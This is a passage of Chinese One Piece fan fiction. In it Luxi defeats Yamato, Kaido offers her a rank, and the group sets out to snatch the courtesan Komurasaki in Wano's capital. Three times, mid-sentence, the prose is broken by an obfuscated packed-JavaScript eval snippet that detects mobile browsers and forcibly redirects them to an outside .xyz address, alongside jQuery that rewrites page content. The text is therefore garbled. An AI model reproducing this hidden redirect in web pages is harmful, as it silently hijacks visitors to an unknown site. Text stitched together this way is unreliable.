失去武器后，便是徒手而战，此刻，比拼的不止是力气，更是对体术与霸气的掌控。一招接着一招，拳对拳，彼此都未曾留一点情面，好像眼前之人是有着血海深仇的死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579964|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敌。 其实，她们认识才不过短短数日，而真正相处的时间更是只有数个小时。然而她们为之而战的，却是过去数年间，维持自己生存下去的信念。对与错并不重要，因为此刻倾泻而出的，是彼此的人生。 那么，伴随着身体的疼痛与力气的流失，大和心想，就让这过往所坚持的一切，在这最后一招有个答案吧。 她全身蓄力，海楼石手铐似乎要抵挡不住接下去自她身上发出的攻势，咣当作响，路希抬眸，几乎是直觉般的，知道了她要使出什么招式。 ——霸王色霸气。 真是奇怪，她注视着大和，分明在海楼石的影响下，对方不可能变身兽型，但她总感觉有几个瞬间，能看到遥远的狼神在对方背后凝聚成形。路希回忆起曾在书上看到过的狼群特征，据说，它们总是以雌性头狼为首。既如此，她觉得大和吃下这个果实也并不意外。 狼神，肯定也只会是雌性嘛。 路希笑了起来，同样地，用霸王色霸气抗击着对方。 而另一边，城堡门口，演唱会还在持续，奎因的心态从原来的游刃有余转变至难以置信，底下围观的海贼们，呼喊着他名字的声音比之前也显然弱了几分。舞台已然是乌塔的主场。 怎么可能，奎因心内疯狂呐喊，他奎因，可是百兽大看板，可怕的三灾，百兽海贼团最受欢迎的主持人，出道以来，更是数十年间战无不胜，没有第二个人能抢走他唱歌的风头！而今……他居然，唱不过对面才十几岁的小女孩，甚至完全的被压制住，这个叫乌塔的女孩的声音，简直就像是……从异世界而来的歌声。 还是说……他真的老了吗？他今年才四十多岁啊。 就在奎因思考着要不要使出点阴暗的手段把这个和他打擂台的女孩赶下去，以免她在舞台上抢了自己的风头时，一股磅礴的气势骤然自远处而来，夹杂着不可抵挡之力。有着丰富战斗经验的奎因立马便察觉出来，这是霸气。 此时，最外圈脆弱的海贼们，已有不少昏迷倒下。而内场的海贼们，有些也开始摇摇晃晃。 奎因双眼一亮，好机会。他当即大喊：“敌袭敌袭！唱歌暂停！” 呵呵，他绝不会如此轻易地拜倒在一个女孩的歌声下的，但避而不战也有失威信，眼下这种情况正是好时机。 让他看看到底是哪个不长眼的打过来了，他得好好谢谢对方。 因他的喊声，底下的海贼们顿时慌乱起来，七嘴八舌的叫喊起来。 “敌袭？什么敌袭？”“哪个蠢到爆的居然敢来四皇的地盘挑战？”“兄弟，你怎么晕过去了啊？！”“坏了难道是海军吗？” 一直安静地坐在高台上喝酒听歌的凯多，放下酒葫芦，此刻终于发言，“冷静下来，不是敌袭。” 随着他的话音落下，混乱的现场骤然有序起来，大家一个个老老实实又茫然地站着，不清楚到底发生了何种情况。 乌塔握住手中的麦克风，仿佛心有所感，看向远方的海岸。唱至中途，她便发现路希不知道跑哪里去了。当时虽然慌张了一瞬，想停下来，但奎因已有败北的倾向，她可不能放过这机会。这也是她的战斗。 凯多自高台上一跃而下，朝着岸边走去。不得了啊，他心想，刚才他感受到的，是来自两个人身上的霸王色霸气。 看来他的海贼团，确实迎来了不能小瞧的新人。 芙丽那站在舞台下方，看着凯多的身影渐渐远去。当发现路希与大和消失，而这些海贼又莫名倒地，但凯多却说并非敌袭，她便知晓发生了何事。贝格抱着她的手，整个人几乎挂在她身上，懒懒散散地问道：“船精灵是不是赢了？” 芙丽那摇头：“我不清楚，不过，我想她会带着胜利回来的。” 贝格鼓起嘴，随后像是想通了什么，突然乐道：“我要自己去找她们啦。” 她紧随在凯多身后。而下一刻，乌塔自舞台上下来，也朝着海岸的方向奔去。芙丽那与她的伙伴们互相对视一眼，随即跟上。 奎因挠挠脑袋，终于想起来他们原先搭建舞台不是为了演唱会对决，而是为了给真正的对战主角炒热气氛，而现在……他左看又找，愣是没发现那两个人在哪。 就在奎因想通的那一刻，烬从他的身边走过，虽然一言不发，但奎因已经感受到，对方面具下的脸，是怎么样的嘲讽神情。 完蛋，这下他是真的输得相当彻底了。 而海岸边，大和整个人呈大字型躺在地上，她的呼吸放缓。输赢已定，她却感到身体分外轻松，那些疼痛、伤口仿佛不复存在。她想肆意奔跑，放声大笑。 路希脸上的面具破碎，一块块掉落在地上，露出同样被颜料装点的脸。那几抹红色，依旧如此耀眼。 她站在大和身边，低头看她，神情认真，“你输了。” 那场弥漫了她人生数十年的雾，此时此刻，终于可以消散无踪。 75.和之国 *那么，你是什么人？ 有个声音在大和脑海中响起。 *男人？女人？亦或是，光月御田？ 答案，只有一个。一条全新的，年幼之时她曾踏足过，后来又主动离去的那条道路，再次重现在大和眼前。 大和心想，她是个女人啊。她一直都是女人，刚出生是女婴，年幼时是女孩，青年时期是少女，她从来都是个女人。一瞬间她热泪盈眶，泪珠从眼角浅浅滑落。 或许数年以来，她渴求的就是这样一场败北，与凯多那种简单粗暴的击倒她不同，她想要的是一种能更加深入她内心的，能理解她的迷茫，能与她同行的这样一场战斗。 大和看着蓝到接近澄澈的天空，伸出手，似乎想抓到什么。几秒过后，她放下手臂，看向路希，问道：“你们什么时候走啊？” 显然，她们这群人并非真心想加入百兽海贼团。离去是迟早的事，只是不知何时。 路希顺势坐了下来，刚才打了这么久，她其实也挺累的。她开始与大和有一搭没一搭地闲聊，“我还没去和之国的主岛那边参观过呢，只是在鬼岛待着，怪无聊的。” “也是哦，不过那边我不能带你们过去了，”大和晃了晃手中的手铐，“我得想办法先把这东西拿掉。” 路希盯着大和手上的海楼石手铐，又看了眼自己的，随后从兜里掏出钥匙，将手上的镣铐解开了。与大和不同，她是为了战斗自愿申请戴上海楼石手铐的，因此钥匙在她自己手中看管。 大和顿时发出羡慕的声音：“可恶，我也想跟你一样能这样拿下来。” 路希看着大和，提出建议：“既然不当光月御田了，要不重新和你老爹商量一下？” 大和随即也开始认真思考起来，但她们很快被身后的动静吸引，沉重的脚步声响起，有人走了过来。 路希偏头看了一眼，下一秒熟练地用果实能力挡住自己的脸。来人是凯多，这可是绝对不能看到自己长相的人。而还未等凯多走近，贝格已经毫不客气地越过了这位自己名义上的老大，跑到路希旁边，直白问道：“船精灵，你们谁赢了啊？” 大和笑了一通，丝毫不见败北的难过之意，爽朗说道：“是我输啦。” 贝格与有荣焉：“果然还是我船上的人最厉害嘛！”哎，真不是她夸自己，果然狗狗就是世界中心，会被所有好运眷顾的那种啊。 路希嘴角上翘，她就不否定贝格的话了。 凯多停下步伐，与她们隔了一定的距离，纵然如此，四皇自带的威压仍是浅浅的散发出来。他身高七米，是普通人中的巨人。 路希的呼吸加快了一瞬，但随即，她冷静下来。 “大和……”终于，凯多出声，叫出大和的名字。他打量着倒地的大和，就算刚才跑过去的那个海贼不问，凭借多年的战斗经验，他也能一眼看出，谁胜谁败。“你还得多加练习啊。” 然后，他不再看着大和，视线落在坐在对方身旁的另一个人，一个戴着海楼石手铐，打败他儿子的海贼新人。 然而，真的是新人吗？ 她如此年轻，实力却如此强大，甚至能释放出远超大和的霸王色霸气。凯多并未亲眼见证这两人的战斗，但毫无疑问，他心里清楚，眼前的这个新人，必然掌握武装色霸气。毕竟无数次揍晕大和的凯多很清楚，自己儿子的实力。 凯多打量着路希……这位海贼，原本并非是贝格海贼团的成员，而是中途上船的。那么她，究竟来自哪里？ 凯多低声发问，即便如此，声音依旧轰隆作响：“你叫什么名字？” 路希转过身体，对凯多挥着手，欢快道：“老大，我叫小希。” 哎呀，同时，她内心想着，这个假名是不是起的太敷衍了呢。虽然海贼大多都是笨蛋，但是路希和小希的联系度，是否还是过于紧密？ 凯多在心中默念了一遍这个名字，连个姓氏也没有，似乎就像是村口奶奶编织着毛线团随意取的那样。不过，他并未多说什么，而是发出了另一个让路希有些吃惊的邀请：“百兽海贼团内，飞六胞的位置尚有空缺。你、有兴趣担任吗？” 路希呆了一瞬。 百兽海贼团的职位划分她也算有所了解，作为总督的凯多，除他外，底下自高到低分别是大看板、飞六胞、蛮霸者、真打。飞六胞处于第三阶级，差不多等同于海军总部，有实力成为大将预备役的中将这个位置。 她心中只剩下了一个想法：四皇凯多，人还怪大方的呢。 不过话说回来，这意味着对方或许并未怀疑她的身份。当然，也可能是另一个答案，有所疑惑，但不在乎。既然如此，她要如何回答呢。 路希的声音充满期待：“老大，那我还要打谁吗？” 凯多回道：“或许会有其他想坐这个位置的人跟你挑战。” 路希嘿嘿一笑：“那问题不大，毕竟我连您女儿都打败了嘛。” 很好，从现在开始，她的身份又多一个，就是百兽海贼团的飞六胞！要不是海军的假期有时间限制，路希还真想努力一下，三年又三年，成为大看板，里应外合打倒凯多。哎，可惜，她想成为世界之王，注定不可能在百兽海贼团花费太多时间发展。这里可给不了她想要的。 凯多：“……” 眼前的这个海贼如此快速坚定接受新职位，让他心生几分欣慰，尤其是她旁边躺着的就是大和，一个挨打了无数次却依旧要当光月御田的蠢货儿子。对比鲜明。原本还以为，能在短短几天内就搞事，与和大和打起来，性格可能也相当刺头，不太好搞。没想到看起来对海贼事业这么有上进心。 而也是在这时，凯多忽然注意到，这个叫小希的海贼，将大和叫作他的女儿。 大和与路希为何打架，在海贼中一直都没个具体的理由。海贼们只知道，总之在这群新人海贼到来的那一日，大和少主又因为要当光月御田出海与凯多大人吵了起来，然后继续失败。 随后，好像是新来的海贼不清楚事情经过，带走了她去疗伤。接着，新人海贼要戴海楼石手铐和大和少主打起来的事就传遍整个鬼岛了。毕竟海楼石手铐不是你想要就能要，路希专门跑去找玛利亚申请的，而玛利亚必然要问具体缘由，得到的就是她要和大和打架这件事。 当然，比起下级的海贼们，作为路希的直属上司，玛利亚这个位置的海贼知道的更多些，比如，路希要找大和打架，是为了想证明一件事。至于证明什么事，对方没具体说明。玛利亚也得体地给她留了点隐私，没有继续追问。不过，这个理由，她还是告诉了凯多的。 那么，凯多心想，她要证明什么？ 他这样想着，也这样说道：“大和是我的儿子。” 路希没说话，抬头看着他。反而是一旁依旧躺着的大和，此时插入了她们的对话。 “哦，对了老爹，我不当光月御田了。” 而路希在大和回答后，笑着说道：“哈哈哈就是这样啊，大和是女人啊，老大你怎么会弄错呢。” 贝格的语气也没带点丝毫的尊重：“就是啊，你是不是其实眼神不太好？” 凯多：“……” ……好吧，他的问题。虽然他的女儿嚷嚷了十多年要当光月御田，要成为男人，以至于他几乎是半被迫的自己改口，同时也让自己的手下改口，但总之，算了，就当做是他的问题吧。 凯多沉默的站在原地，像一座巨大的雕像。几秒后，他还是出声问了一句，“为什么？” 大和叹了口气，“哎，哪有什么为什么？因为光月御田根本没打赢任何人啊。因为我是女人啊。”她大声地喊出来，声音传至遥远的天际，传至赶过来的乌塔与芙丽那一行人耳中，同样坚定地传至凯多的耳中。“老爹，我是女人啊。你不要再搞错了！我不会成为光月御田的！” 凯多：“……”真的假的？谁能告诉他到底发生了什么？ 要不是他现在没醉酒，他大抵就哭出来了。哎，还好他没多喝酒，不然真的要控制不住泪腺哭出来了。 路希高举着手欢呼道：“耶耶——女人万岁，哈哈哈哈哈。” 贝格也活蹦乱跳：“女人当然万岁——！” 大和同样高高喊道：“我是女人，女人万岁——！” 凯多也不再管她们到底在嚎些什么了，这场战斗来得莫名，源于一个新人想要证明一件事情，凯多依旧不清楚她想证明什么，但此时，从对方的欢呼声中，答案似乎已然明了。既然这样，就欢呼吧，女人万岁。反正，打败大和赢到最后的，是她，让大和改变想法的，也是她。既然如此，他何必多说些什么。 在某种意义上，只要对方不做出反叛行为，凯多是对部下十分宽容的老大。 他提着酒葫芦，摇摇晃晃地往回走去。 喝酒吧，他想，回去喝杯美酒。此刻，光月御田纠缠不休的身影，终于可以稍稍淡去。 凯多往回走去，而乌塔与芙丽那她们则与他往反方向而行。她们小幅度地行了个礼，在确定对方毫不在意她们之后，瞬间朝路希她们跑去。 乌塔跑得气喘吁吁，刚才在舞台上又蹦又跳还要唱歌，现下又要赶好长的路，她累得要命。体力实在是她的硬伤，而反观芙丽那她们，一点都没看出疲倦的样子。 乌塔在心 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她顿时有些手足无措：“诶，等等……这个是你们的……我应该……？” 芙丽那像是根本没看出大和的手足无措，坚定地将这本日志塞入她的怀中。芙丽那看着大和，缓缓说道：“先前，你说过，你在九里捡到了光月御田的航海日志，因此心生向往，对和之国以外的世界产生兴趣。” 她笑着凝视着大和，像温柔的母亲注视她新生的女儿，“这是我自西海航行至新世界，一路记载下来的航海日志。我想把它暂时送给你。我们这一路而来所见到的一切，我也想让你看看。” 她其实早就想把这个航海日志交给她了，不管今日的结果如何，是输是赢，事实上，在相遇那日，了解大和之后，她就想把这份日志送到她的手中。 大和，自小就没有母亲，而父亲显然没有对她进行很好的教育，甚至会让八岁的孩童亲眼见证几乎可以说是残酷的处刑。因此，虽然可能并不太重要，甚至可能并不是现在的大和所需要的，但芙丽那仍然想要去做点什么，想要给这个女孩，一个小小的礼物。 大和感觉手中的日志有千斤重，可同时，她又无论如何不想松开握住这份日志的手。她是多么的想去看一看外面的世界啊。大海究竟有多广阔呢，海平线的尽头又是何物呢？她自小就想出海，早在看到御田的航海日志之前就想出海，冒险是每一个女性的天性啊。御田的日志只是更加的激发了她这份在和之国被压抑的天性。 路希在一旁看热闹不嫌事大，说道：“你收下嘛你收下嘛，反正你暂时也出不去，而现在多看点东西肯定没错，到时候要出去了还有经验呢！” “啊，是啊。”大和抹抹眼角，郑重地收下芙丽那的航海日志，对她鞠了个躬，“谢谢你，芙丽那。” 芙丽那眉眼弯弯：“不客气。” 路希再次原地欢呼：“耶——那么我们接下去也来开宴会吧。是不是要从厨房还是仓库拿点食物呢？唔，这个内海看起来也打不到什么东西……” 大和先迈前一步，“走啦走啦，我带你们去厨房！” 听见宴会二字，乌塔瞬间停止与贝格的争吵，牵住路希的手，“那我要继续唱歌，真是的，小希你刚才根本都没听完一首就跑出来跟大和打架了吧，你要好好听我唱歌啊！” 路希吐吐舌头，丝毫不见歉意的抱歉道：“对不起嘛对不起，我下次一定听完，不会中途跑掉啦。”只是并不见得有任何可信度。 贝格则是抬头问着大和：“这里有没有什么有很多兔子的地方，我想吃烤兔子。” 乌塔顿时凶巴巴地盯着贝格：“不准吃兔子。” 贝格恼了，“我偏要吃！你太霸道了，兔子精灵！” 几乎是几秒钟的功夫，两个人又开始吵架。芙丽那熟练地捂住耳朵，无视了两人的争吵。大和则是兴致勃勃地观望着两个人吵架，很新鲜了，太新鲜了，很多事情，对她而言都是第一次。 而路希开始考虑接下来的事，她本人是很有意愿将大和带走，而大和显然也会同意跟她走，只是对方手上的海楼石手铐仍是一大问题，而且，她还没有去过和之国的主岛，探查那里的情况。 大和放弃当光月御田后，和凯多的关系应当会有所好转，手铐之事委婉提出，或许能宽容一些，就算依旧不准大和摘掉，但或许可以将范围扩大到整个和之国，然后，说不定就能得到摘掉的办法。此外，她本身对和之国也燃起了几丝兴趣。 哎呀，总之，她漫不经心地想，好不容易来到四皇的地盘，总得留下点什么礼物，以示感谢吧。 76.和之国 路希一向是个行动派，想到什么便会找办法去做，因此翌日，她便找到凯多，对他说想与大和一同去和之国的主岛，希望凯多能解开大和的手铐。 凯多昨晚喝了不少酒，身上还残留着细微酒气。路希琢磨着对方这算是清醒了还是没清醒，哪个状态下的凯多更好说话呢？ 凯多问她：“为什么？” 路希答：“因为我想和大和一起去玩。” 这个答案过于理所应当，以至于凯多一时想不出什么理由拒绝。为什么给大和戴上海楼石手铐？因为女儿想成为光月御田出海。而现在大和已然放弃这个目标，继续戴着手铐，似乎并无太大意义。 真要说起来，凯多其实并不介意大和出海，只是不喜欢她崇拜且想成为的对象是自己的死敌。 凯多发现自己并没有足够的理由让大和继续戴着海楼石手铐，然而作为一名四皇该有的素养，他继续问道：“你来自哪里？” 路希没想到昨天对方邀请她成为飞六胞时都没问的问题，在今天忽然就问出来了。她怔了一会，答道：“老大，我伟大航路的香波地群岛来的。” 凯多注视着她，路希坦然的让对方看着自己。 “为什么加入我的海贼团？” “我感觉你这里最有发展前景。白胡子虽然也挺强，但他船上不收女的，没劲。BIG MOM能得到重用的只有她的孩子们，没前途。香克斯更是找不到人影，一点都看不出作为海贼的野心。” “你想得到什么？” “当然是作为一名海贼应该得到的东西。” “比如？” “自由啦，宝藏啦，还有可以到处打来打去啦。” 空气安静了一秒，凯多问道：“你、喜欢战斗吗？” 路希歪歪脑袋，答：“那还是比较喜欢把别人踩在脚下的。” 凯多忽然爆发出一阵大笑，整个地板都因此颤动起来，路希平静地坐在地上等待对方停下笑声。凯多笑了好一阵，才像是感到倦了，脸上的表情又变得和之前那副模样大差不差。他打量了一眼路希，说道：“没钥匙。” 路希：“……？” 这回轮到路希发问：“什么意思？” 凯多理直气壮回答：“为了防止大和拿到钥匙解开手铐，钥匙直接丢了。” 路希：“……” 她发自内心地感叹，这爹真是没用啊。 被路希在心中定义为没用的凯多随性答道：“你们自己解决这事。” 言下之意，他不会管大和要去和之国的哪里，但能不能去，全看她们自己的本事。 路希告别凯多，回去告知这事，大和自然怒气冲天，骂道：“那个混账老爹，我就知道！” 可光骂也不能解开手铐的束缚，一群人开始研究起如何开锁以及寻找有无备用钥匙。路希先前就有几分好奇，此时顺势问道：“说起来，百兽海贼团的海楼石锻造技术很强啊。” 海楼石并非什么随处可见的矿石，即便是海军和世界政府想大量得到这些，也少不得耗费财力人力，至于在加工方面……至少，路希在海军那里见过的海楼石手铐，精细程度远不能与大和和她先前的手铐相比。 这指的并非是样式的不同，而是手铐内海楼石纯度的不同。 她与大和戴着的海楼石手铐，虽会抑制恶魔果实能力，但除此之外，对身体状况并无其它影响，与海军那方的海楼石手铐极为不同。 “你说这个？”关于这点，大和倒也不是全不知晓，“倒不是我老爹的手下们有多厉害，只是和之国有专门从事海楼石锻造的匠人们，在这方面简直可以说是专家。” 路希马上察觉出问题。 和之国自古以来闭关锁国，不与外界联通，既然如此，一个属于稀有品类的矿石，怎么会在这样一个岛屿有专门的匠人研究锻造呢。 她更想去主岛那边看看情况了。 先前在摩尔冈斯那里也隐隐得到一些情报，四皇凯多在暗地里做些武器贩卖的生意。不过，观遍鬼岛，也没发现什么研制武器的地方，这里的海贼们过得也相当舒心，那可能会生产武器的地点便是主岛那边。 她可不认为一个海贼会真的好心当什么护国明王。可凯多一直待在和之国，只是为了制造武器贩卖出去赚钱吗？ 她在一旁思考的问题时，乌塔喜笑颜开地回来了，“我找到了钥匙。” 乌塔解释道，“是玛利亚，玛利亚一直留着当时被凯多扔掉的钥匙。” 凯多当初确实是随性扔了钥匙，本来想直接扔海里的，正巧玛利亚先前瞅见了大和凄惨模样，一时母爱溢出，于是说可以为之代劳。凯多就随性扔她怀里了。 玛利亚就这样将钥匙留了下来。 “不过，要不是出了这事，我也就忘记了。” 乌塔来尝试性的询问钥匙一事时，玛利亚用衣袖捂住嘴，微笑答道。 这事指的是路希与大和战斗，并打败对方，还让大和放弃当男人的事。 两者都引起了挺大讨论，一来，毕竟当初的赔率放在那，赌大和赢的海贼们怨声载道，悲号连连。二来，大和说自己是男人兼光月御田不是一天两天的事，而是持续十几年的事，凯多无数次的狼牙棒教育下都没能让她改变心意。结果新来的海贼和她碰了面，聊了天，也不知道聊了什么就这样聊到心坎里去了，接着打了一架，豁，又决定继续当女人了。 “你能明白吗？”“我不明白。”“到底发生什么事？”——当时海贼们眼中传达的就是这种意思。 玛利亚原本以为这枚钥匙永远都派不上用场，除非大和回心转意，但数十年的坚持，她渐渐地也就当对方是男人了。 “没想到还真能看到少主离开鬼岛。”她把钥匙扔进乌塔怀中，笑道，“长大之后，看少主倒也没有原来那么惹人疼惜了。” 乌塔郑重地对玛利亚道了谢，跑回来把钥匙塞给大和。 大和看着手中的钥匙，重重地吐出一口气。贝格焦急地催促她，“快开快开，开了我们好去主岛玩！” 鬼岛的风景她已经看腻了！ 路希也颇为兴奋地盯着大和的行动， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有恶魔果实能力，会飞会跳了不起啊！没她们开船，跑第一也只能乖乖在船上等着！ * 自鬼岛出发，到达的港口为白舞的刃武港，是常用的港口之一。另还有其它港口通往囚犯的采石场，那是奎因负责看守的地方。 和之国的主岛共分为六个部分，花之都、九里、希美、兔碗、铃后，白舞。 花之都为和之国的都城，也即目前的将军，黑炭大蛇的居住地。而除花之都外，其它地区的发展可谓是十分惨淡。 大和自船上跳下来，原地舒展着身体，问：“那么，我们接下去要去哪？” 去哪里主要看她们接下去准备做什么。路希看着人口稀少的港口，思考片刻，说道：“总之，先去都城见见将军吧。他是和之国目前的统治者，肯定了解其它地区的大致情况。” 得到信息，才能更好的制定计划。 77.和之国 从白舞去往花之都并未花费太多时间。一行人身强力壮，吵吵闹闹中便到达了目的地。 与其它城镇的萧瑟不同，花之都热闹非常，人声鼎沸。在这里生活的居民，脸上的气色也远远好于她们在白舞地区看到的人们。经过白舞的一个破败小镇时，有些居民饿极了，看她们衣着不错，直接扑过来祈求食物。 不过当时她们未携带食物，于是贝格的船员们有一些留在那里，准备回船上拿点食物赠给这些人。 剩下的人继续赶路。 “贫富差距还蛮大的呢，”路希毫不客气地点评道，“这将军平时肯定不干什么人事。” 大和也有些感慨，她年幼时偷跑出来看到的景象，都城内外的差别还不至于如此之大。 有个男人喊着“让一让让一让”，带着一股垂涎的笑意从一行人身旁跑过去。 这时，路希她们察觉到都城的人们似乎正有目的性的朝一个方向涌去。 乌塔好奇地看着那个方向：“这是有什么活动吗？” 她的声音并没有刻意放低，因此，旁边路过的一位中年女性听到后，顺便答道：“是花魁啦，花魁游街。” 她说完，也急匆匆朝前奔去，深怕迟一秒就赶不上她口中的花魁游街。 乌塔茫然了一瞬：“花魁游街是什么？” 贝格同样露出无知的眼神：“不知道。” 路希也不清楚，她没接触过花魁这个词，游街倒是很了解。她看向大和，希望这个从小在和之国长大的人能给自己一个答案。 大和嘿嘿一笑，诚实说道：“不懂。” 看来是不会出现在鬼岛的活动。于是她转而期待地望向芙丽那，芙丽那是这里除她外最有文化的人。大家也跟着她的视线一起期待地看向芙丽那，希望能得到一个解答。 芙丽那：“……” 芙丽那有些尴尬，因为她也没了解过这个词。这看起来是和之国的独有的特色。但面对一众小孩期待的神色，她认为自己不能说不知道。于是强行照着字面意思理解，道：“可能，是特别稀有的花拿出来进行展览。”花魁，就是花中魁首吧。 路希：0.o 她有些小惊讶：“黑炭大蛇会舍得把特别稀有的花拿出来给大家看吗？这个将军看起来就很贪财呢。而且也不像是那种与民同乐的类型。” 芙丽那：“……” 她先是看了周围几眼，好在民众们都忙着去看花魁游街，没人发觉这里有人说着如此大逆不道对将军大不敬的话。芙丽那清咳几声，找补道：“总之，我们去看看就知道了。” 反正讨论不出答案，也不急着去见黑炭大蛇，于是众人欣然前往。奈何越到前方，人群就愈发拥挤，贝格第一个失去耐心，扫了一眼四周，直接变成小狗形态踩着一群人的脑袋跳了出去，跃到别人家的屋顶上。 她居高临下的扫视着底下的众人，很是满意。这样也能看清楚什么是花魁游街了。 路希和大和见她如此行事，当即眼睛一亮，有学有样，也跳到别人家的屋顶上去。路希还顺便用藤蔓把乌塔和芙丽那她们也拉了上来。 虽然芙丽那觉得这种行为对这些人家的屋顶似乎有点不礼貌，但不管了，素质低的人先享受花魁游街。 “来了来了！” “啊啊，小紫，我的梦中女神。” “滚开，小紫是我的。” “什么是你的，你也不看看你长什么样，小紫什么样？！” 站在高处，底下的喧嚣听得更加清楚了些。 路希认真听了一会，报告道：“他们在等一个叫小紫的女人。” 乌塔托腮，问：“小紫就是举着很稀有的花的女人吗？” 路希眺望远方，看到一个身影慢悠悠地走在红伞之下，距离有些远，加之伞面遮挡，没能清楚地看清对方的脸。她摇摇头，道：“没看见她手中举着花，可能顶在头上。” 乌塔讶异道：“诶，那不会掉下来吗？她的平衡度一定很好。” 贝格也推断道：“她的头一定还很大，稀有的花肯定很大很好看。” 芙丽那扶额，贝格的审美从来都是这么朴实无华。 乌塔心生佩服之意：“那她一定很厉害。” 大和兴致勃勃地看着远方，也加入了对话，“不过她走得真慢啊。” 路希做出结论：“头上要顶着花，肯定要慢慢走。这花到时候说不定还要奉上给黑炭大蛇呢。不能摔碎。” 贝格耳朵动了动，“那我们可以直接从那个什么蛇手中把这花抢过来吗？我们也要去见大蛇。” 她思考了一会，凯多是和之国最强的人，是和之国真正的老大，而大和是凯多的女儿，她们和凯多的女儿是一伙的，直接抢过来，大蛇也不能说什么吧。 路希的脑回路在此时和贝格重叠一致，她觉得抢过来不是什么问题。不过她还是有个疑惑。“可是我们把这个花抢过来干什么呢？” 贝格歪歪脑袋：“不知道，但是很稀有，我就想要。” 芙丽那“啪”的一下轻轻打了打她的脑袋。“放过花吧。”她说道。 几个人又耐着性子等了一会，终于等到那个叫小紫的女人走了过来。她一袭华服，头戴珠宝金钗，白粉铺面，朱唇若丹，纤眉如柳，眼波流转间，尽是睥睨之色。 路希、乌塔、贝格、大和包括芙丽那都陷入了沉默，最后还是贝格先开口，困惑道：“花呢？” 路希看着在小紫身旁给她撒花的人，正色道：“被撒了。” 小紫的头上并没有顶着花，只有十分复杂的发型，加之各种首饰，看起来就很重。 乌塔不得不承认一个事实：“可能我们对花魁的理解有误。” 底下围观的民众们爆发出一阵呼喊。 “小紫！小紫！” “这就是花魁啊！” “太美了，我的心从此以后只属于小紫……” 大和恍然大悟：“哦！原来这个小紫就是花魁啊。原来花魁指的是人啊。” 贝格撇撇嘴，“没劲。” 路希配合着点头：“就是，没劲。” 乌塔倒是认真地观察着这个叫小紫的花魁，说道：“不过，小紫很漂亮呢。”乌塔的语气有些不确定，“确实有当上这个花魁的实力？” 路希百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610912|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无聊赖地晃着腿，“可是，花魁就是这种被人打量评价的存在啊，要当上这种花魁，做什么呢？” 贝格附议道：“就是啊，要被人像物品一样指指点点，如果他们不喜欢，就当不了这个花魁，一点意思都没有。” 乌塔怔了一会，重新看向小紫，底下诸多发声的人，带着觊觎的、垂涎的、也有些下流的，令人生厌的话。比起作为同类的人，花魁小紫在围观的人群中更像是一件奇货可居的物品。纵使她眼神高傲，站直了身躯，但是……她、毫无疑问，是被打量的存在。可是，她为何要打扮成这样来讨人欢喜呢？ 乌塔心生困惑：“为什么会有花魁游街呢？” 芙丽那扫了一眼底下的人群，应道：“或许因为，男人们喜欢女人打扮成这样来讨好他们。” 确实，那些让她不适的声音中，尽是男人们的声音。 贝格对花魁游街失去了兴趣，抱怨道：“好无聊哇，我们去玩其它有趣的吧。” 路希看了乌塔一眼，问她：“你喜欢花魁游街吗？” 乌塔摇摇头：“不喜欢。” 光是想想自己的长相、身材要被陌生的男人们随意点评，就只觉心生厌恶。他们算什么啊。 路希又问大和：“大和，你喜欢吗？” 大和注视着下方缓慢行走的女人，思索片刻，回：“算不上讨厌，但也不能说喜欢。光是看到要穿这么高的鞋子慢吞吞地走就有些害怕了，这样子连老爹的一招都躲不过去啊。” 路希笑了出来，最后看向芙丽那，芙丽那察觉到她的视线，回望过去。两人都没说话，路希也没主动问她喜不喜欢的问题，因为芙丽那注定只会有一个回答，不喜欢。 她从来都不是会把自己客体化的女人。 于是路希得到了全部答案。 她站起来，拍拍衣服上的灰尘，藏在面具下的眼睛锁定向前走去的小紫，花魁小紫要走到的终点是哪里呢？这条拥挤的街道的尽头吗？然后，她又要去哪里？在这里收获这么多男人们对她的点评后，她要继续的是什么样一种人生？ 这些问题注定不会马上有答案，但路希知道她一定会得到答案。 因为她做出了一个决定。 她语气强势，道：“我们要抢走花魁！” 芙丽那笑了起来，贝格瞬间打起精神，乌塔有些讶异，但很快也微笑起来。大和甩甩手中的狼牙棒，跃跃欲试：“嗯？那要和谁打一架吗？” 毕竟，珠宝贵物总是有专人看守。 路希笑容张狂，“谁知道呢。总之，抢就是了。” 然后，地面突然颤动起来，花魁小紫身体摇晃几下，还未来得及弄清究竟发生何事，便被眼前的景象震慑心魂。 有数道粗壮的植物枝干自她面前、自地底下凭空钻出，直冲天际，挡住了她的去路。这番变故突如其来，霎那间竟无一人再度出声。 而在众人皆怔愣之时，一道响亮的女声吸引了街道上所有人的注意。 路希站在屋顶上，高高在上地宣布：“heyhey，大家好，我们是……唔，我们是谁不重要！重要的是，我们来抢花魁小紫啦——！” 78.和之国 这话说得过于放肆，加上先前出现的异相，一时间众人俱被震住，下意识齐抬头看向发声处，但无人出声回应，热闹的长街瞬间安静下去，只余下呼吸声。 